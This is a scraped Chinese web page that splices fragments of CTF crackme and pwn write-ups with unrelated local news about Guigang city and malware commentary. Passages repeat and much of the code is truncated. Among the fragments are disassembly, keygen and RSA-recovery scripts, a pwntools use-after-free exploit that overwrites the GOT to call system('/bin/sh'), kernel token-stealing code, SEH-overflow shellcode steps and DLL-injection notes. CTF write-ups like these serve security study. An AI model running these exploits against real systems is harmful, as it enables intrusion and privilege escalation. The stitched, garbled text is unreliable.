9B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)一些未文档化的结构在不同Windows版本间有所变化。,因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08 Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。同样,所有提升的对象都将被扫描以查找from-space中的新引用。捕鱼游戏赢钱的下面程序进行穷举:importosdeflength(number):n=numberl=0whilen0:n=n/10l+=1returnldefisok(number):res=0n=numberwhilen0:res=res*10+n%10n=n/10ifres==number:return1return0deftest(a):b2=a*9i=0whilei2:b2*=ab2*=9if(isok(b2)==1):print(%d=%d%(a,b2))breaki+=1return0defskip(a):b=1n=awhilen0:if((n%10)==0):a+=bn=n/10b=b*10returnadefmain():printskip(10089000)i=11111111whilei=99999999:i=skip(i)test(i)i+=1printoverreturn0if__name__==__main__:main()输出结果为:需要反向输入,即sn=97654321UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。 ,启动仪式上,贵港市委书记李新元向“970水蜜桃女主播”赠送荷花展吉祥物“和和”、“田田”,并为其进行代言授牌。通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。贵港市市政局局长李育新通报了包括贵港市新世纪广场、贵港市覃塘区莲藕产业(核心)示范区、贵港市港南区湛江镇四季花田观光农业园、贵港市荷城荷花科技博览园等在内的十大“最佳赏荷点”。 。同样,所有提升的对象都将被扫描以查找from-space中的新引用。。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。,环境OS:Windows10PRO1709IDE:VisualStudio2015Community语言:VisualC++Dropper:注射器的实现原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。  港北区区长黄英梅介绍,去年,该区招商引资工作最大的亮点是创造了“港北速度”:赛尔康电子生产项目当年9月21日开业,正式投产比原计划提前两个多月;贵港·上亿国际汽车城项目从开始建设到全面开放,用时不足1年。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08 以招商引资增加项目建设、以项目建设推动招商引资的良性循环正在逐渐形成,贵港招商引资的“洼地效应”日益显现。但是,在相应的四个物联网设备中,Satori不会终止进程。共签约引进电动车项目75家,计划总投资亿元,已建成投产45家,其中爱玛电动车项目的落户,有力地加快了中国-东盟新能源电动车生产基地的发展。Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。年轻一代最初是平行的。.类似于2017年6月的NotPetya疫情,BadRabbit试图在通过SMB感染后横向传播。 这道题还是比较简单,只是加了点反调试(关闭和禁用前台窗口,设置线程来禁止调试事件).分析见注释:00F520A0/$55pushebp00F520A1|.8BECmovebp,esp00F520A3|.6AFEpush-200F520A5|.684044F700push00F7444000F520AA|.68F0D6F500push00F5D6F0入口点00F520AF|.64:A100000000moveax,fs:[0]00F520B5|.50pusheax00F520B6|.83EC14subesp,1400F520B9|.A1DC65F700moveax,[0F765DC]00F520BE|.3145F8xor[ebp-8],eax00F520C1|.33C5xoreax,ebp00F520C3|.8945E4mov[ebp-1C],eax00F520C6|.53pushebx00F520C7|.56pushesi00F520C8|.57pushedi00F520C9|.50pusheax00F520CA|.8D45F0leaeax,[ebp-10]00F520CD|.64:A300000000movfs:[0],eax00F520D3|.E888FEFFFFcall00F51F60//调用反调试程序,关闭和禁用前台窗口(如被调试,前台窗口是调试器窗口)00F520D8|.3BF4cmpesi,esp00F520DA|.E8B1FCFFFFcall00F51D90[,//输出"password:",并读取输入SN00F520DF|.8BF0movesi,eax00F520E1|.3BF5cmpesi,ebp00F520E3|.C745DC54727573movdwordptr[ebp-24],7375725400F520EA|.C745E0744D6500movdwordptr[ebp-20],654D7400F520F1|.8D45DCleaeax,[ebp-24]00F520F4|.50pusheax/Arg200F520F5|.56pushesi|Arg100F520F6|.E8353E0000call00F55F30\,//strstr(SN,"TrustMe")00F520FB|.83C408addesp,800F520FE|.85C0testeax,eax00F52100|.-7507jnzshort00F5210900F52102|.8BCEmovecx,esi//SN中必须有"TrustMe",否则提示"error!"00F52104|.E887FDFFFFcall00F51E9000F52109|682438F700push00F73824/Procname="ZwSetInformationThread"00F5210E|.683C38F700push00F7383C|/FileName=""00F52113|.8B3D20D0F600movedi,[0F6D020]||00F52119|.FFD7calledi|\|.50pusheax|hModule00F5211C|.8B1D24D0F600movebx,[0F6D024]|00F52122|.FFD3callebx\|.8BF0movesi,eax00F52126|.6A00push000F52128|.6A00push000F5212A|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5212C|.FF151CD0F600call[0F6D01C][|.50pusheax00F52133|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52135|.C745FC00000000movdwordptr[ebp-4],000F5213C|.A138D1F600moveax,[0F6D138]00F52141|.A34C8CF700mov[0F78C4C],eax00F52146|.C745FCFEFFFFFFmovdwordptr[ebp-4],-200F5214D|.E821000000call00F52173[|.A14C8CF700moveax,[0F78C4C]00F52157|.3B0540D1F600cmpeax,[0F6D140]00F5215D|.-7535jneshort00F5219400F5215F|.6A00push0;/ExitCode=000F52161|.FF1514D0F600call[0F6D014]\|.8B1D24D0F600movebx,[0F6D024]00F5216D|.8B3D20D0F600movedi,[0F6D020]00F52173|$682438F700push00F73824ASCII"ZwSetInformationThread"00F52178|.683C38F700push00F7383CUNICODE""00F5217D|.FFD7calledi00F5217F|.50pusheax00F52180|.FFD3callebx00F52182|.8BF0movesi,eax00F52184|.6A00push000F52186|.6A00push000F52188|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5218A|.FF151CD0F600call[0F6D01C][|.50pusheax00F52191|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52193|.C3retn00F52194|E847FEFFFFcall00F51FE0//判断后8位是否为"20161018",是,则返回1表示成功00F52199|.85C0testeax,eax00F5219B|.-7432jzshort00F521CF00F5219D|.6A09push9;//注册码为"TrustMe20161018",则提示成功00F5219F|.E8FB300000call00F5529F00F521A4|.C70073756363movdwordptr[eax],6363757300F521AA|.C7400465737321movdwordptr[eax+4],2173736500F521B1|.C6400800movbyteptr[eax+8],000F521B5|.8BD0movedx,eax00F521B7|.E8D4120000call00F53490[|.50pusheax00F521BD|.E8BE170000call00F5398000F521C2|.685038F700push00F73850ASCII"pause"00F521C7|.E8E43F0000call00F561B000F521CC|.83C40Caddesp,0C00F521CF|33C0xoreax,eax00F521D1|.8B4DF0movecx,[ebp-10]00F521D4|.64:890D00000000movfs:[0],ecx00F521DB|.59popecx00F521DC|.5Fpopedi00F521DD|.5Epopesi00F521DE|.5Bpopebx00F521DF|.8B4DE4movecx,[ebp-1C]00F521E2|.33CDxorecx,ebp00F521E4|.E8B6340000call00F5569F00F521E9|.8BE5movesp,ebp00F521EB|.5Dpopebp00F521EC\.C3retn关闭,禁用窗口的反调试:00F51F60$,[ebp-4],[0F6D01C][[0F6D018][,eax00F51F7C.-修改段寄存器00F51F7FE8dbE800F51F80/.5Fpopedi00F51F81|.5Epopesi00F51F82|.5Bpopebx00F51F83|.8BE5movesp,ebp00F51F85|.5Dpopebp00F51F86\.,[0F775E0]入口点00F51F8F.-EB02jmpshort00F51F9300F51F91E8dbE800F51F9279db79chary,[0F78C60]//[ebp-4],,,[0F775E0]入口点,0FABEE9000F51FAF.-7502jneshort00F51FB300F51FB1E8dbE800F51FB279db79chary00F51FB3/FF75FCpushdwordptr[ebp-4]00F51FB6|.0315648CF700addedx,[0F78C64]00F51FBC|.FFD2calledx//SendMessageWWM_DESTROY关闭前台窗口,如果开着调试器,调试器就退出了00F51FBE|.61popad00F51FBF|.6A00push0;/Enable=FALSE00F51FC1|.FF75FCpushdwordptr[ebp-4]|hWnd,//禁用前台窗口00F51FC4|.FF1548D1F600call[0F6D148]\|.5Fpopedi00F51FCB|.5Epopesi00F51FCC|.5Bpopebx00F51FCD|.8BE5movesp,ebp00F51FCF|.5Dpopebp00F51FD0\.C3retn后8位判断:00F51FE0/$55pushebp00F51FE1|.8BECmovebp,esp00F51FE3|.83E4F8andesp,FFFFFFF8;qword(8-字节)堆栈对齐方式00F51FE6|.83EC1Csubesp,1C00F51FE9|.A1DC65F700moveax,[0F765DC]00F51FEE|.33C4xoreax,esp00F51FF0|.89442418mov[esp+18],eax00F51FF4|.8B15588CF700movedx,[0F78C58]ASCII"12345678"00F51FFA|.56pushesi00F51FFB|.C74424180F00000movdwordptr[esp+18],0F00F52003|.C74424140000000movdwordptr[esp+14],000F5200B|.803A00cmpbyteptr[edx],000F5200E|.C644240400movbyteptr[esp+4],000F52013|.-7504jneshort00F5201900F52015|.33C9xorecx,ecx00F52017|.-EB10jmpshort00F5202900F52019|8BCAmovecx,edx00F5201B|.8D7101leaesi,[ecx+1]00F5201E|.8BFFmovedi,edi00F52020|8A01/moval,[ecx]00F52022|.41|incecx00F52023|.84C0|testal,al00F52025|.-75F9\jnzshort00F5202000F52027|.2BCEsubecx,esi00F52029|51pushecx00F5202A|.52pushedx00F5202B|.8D4C240Cleaecx,[esp+0C]00F5202F|.E8BC070000call00F527F000F52034|.837C24140Fcmpdwordptr[esp+14],0F;//判断SN长度,一定要15位00F52039|.-7524jneshort00F5205F00F5203B|.A1588CF700moveax,[0F78C58]ASCII"12345678"00F52040|.83C007addeax,700F52043|.50pusheax/Arg1,//后8位转数字00F52044|.A3588CF700mov[0F78C58],eax|00F52049|.E845410000call00F56193\,//atoi00F5204E|.83C404addesp,400F52051|.3DFAA13301cmpeax,133A1FA//比较SN后8位是否为十进制2016101800F52056|.-7507jneshort00F5205F00F52058|.BE01000000movesi,1//后8位为"20161018",返回100F5205D|.-EB02jmpshort00F5206100F5205F|33F6xoresi,esi00F52061|837C241810cmpdwordptr[esp+18],1000F52066|.-720Cjbshort00F5207400F52068|.FF742404pushdwordptr[esp+4]/Arg100F5206C|.E85F440000call00F564D0\|.83C404addesp,400F52074|8B4C241Cmovecx,[esp+1C]00F52078|.8BC6moveax,esi00F5207A|.5Epopesi00F5207B|.33CCxorecx,esp00F5207D|.E81D360000call00F5569F00F52082|.8BE5movesp,ebp00F52084|.5Dpopebp00F52085\.C3retn通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreak、Payload:要注入的DLL在网上搜索了一些关于DLL注入的资料,发现都没有被注入的DLL的实现,这里首先占用少量篇幅来说明DLL的实现。池分配大小在x86系统上总是向上取整到8字节,在x64系统上向上取整到16字节。以后有时间再分析解决吧!^^谢谢!1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d),UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode  “我们企业在二期建设中将拓宽产品结构,设计生产能力为年产5万辆轿跑车和20万辆SUV吉普车。在之前的博文中,我们已经谈到了如何减少垃圾回收的暂停时间和内存消耗。 UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。虽然这似乎是一场艰苦的斗争-在NotPetya情况下可能得不到什么帮助-用户在这样的情况下的教育仍然是至关重要的:仔细观察任何提示框-尤其是那些要求你下载软件或更新的提示;考虑此提示是否合法,以及它是否在上下文环境中合理。字段决定了Windows支持的16个页文件中哪一个包含了该页,而则包含了在该页文件中页的索引。通过下面两个请求的uri可以泄露账号和密码,美国网件系列默认用户名admin 记者在平南走访看到,一些现代农业示范园区已装备上了智能化管理系统,手机一点便可灌溉施肥,病害预警、生产监控等在信息平台上也能完成。贵港的发展,前景广阔;贵港的明天,前程似锦。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()因此,对来说我们可以像这样预设置gConfig:VersionSpecificConfiggConfig={0x2e0,0x348};好了,现在我们偷取Token://getSystemEPROCESSULONG64SystemEPROCESS=PsInitialSystemProcess();ULONG64CurrentEPROCESS=PsGetCurrentProcess();ULONG64SystemToken=0;//readtokenfromsystemprocessReadVirtual(SystemEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//writetokentocurrentprocessWriteVirtual(CurrentEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//reSystem:)所用工具当我搜索GDI数据结构时我发现我缺少一个合适的工具来感应它们,特别是当我需要去在所有地方喷射GDI对象的时候。,原话如下:MYSQL中utf8_unicode_ci和utf8_general_ci两种编码格式,utf8_general_ci不区分大小写,=A,=O,ü=U这三种条件都成立,对于utf8_general_ci下面的等式成立:=s,但是,对于utf8_unicode_ci下面等式才成立:=ss所以在将mysql的编码设置为utf-8的时候,=A,=O,ü=U,,左右两边的字符是可以相互替换的。“aquario”是南美洲国家流行无线路由器的默认密码。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[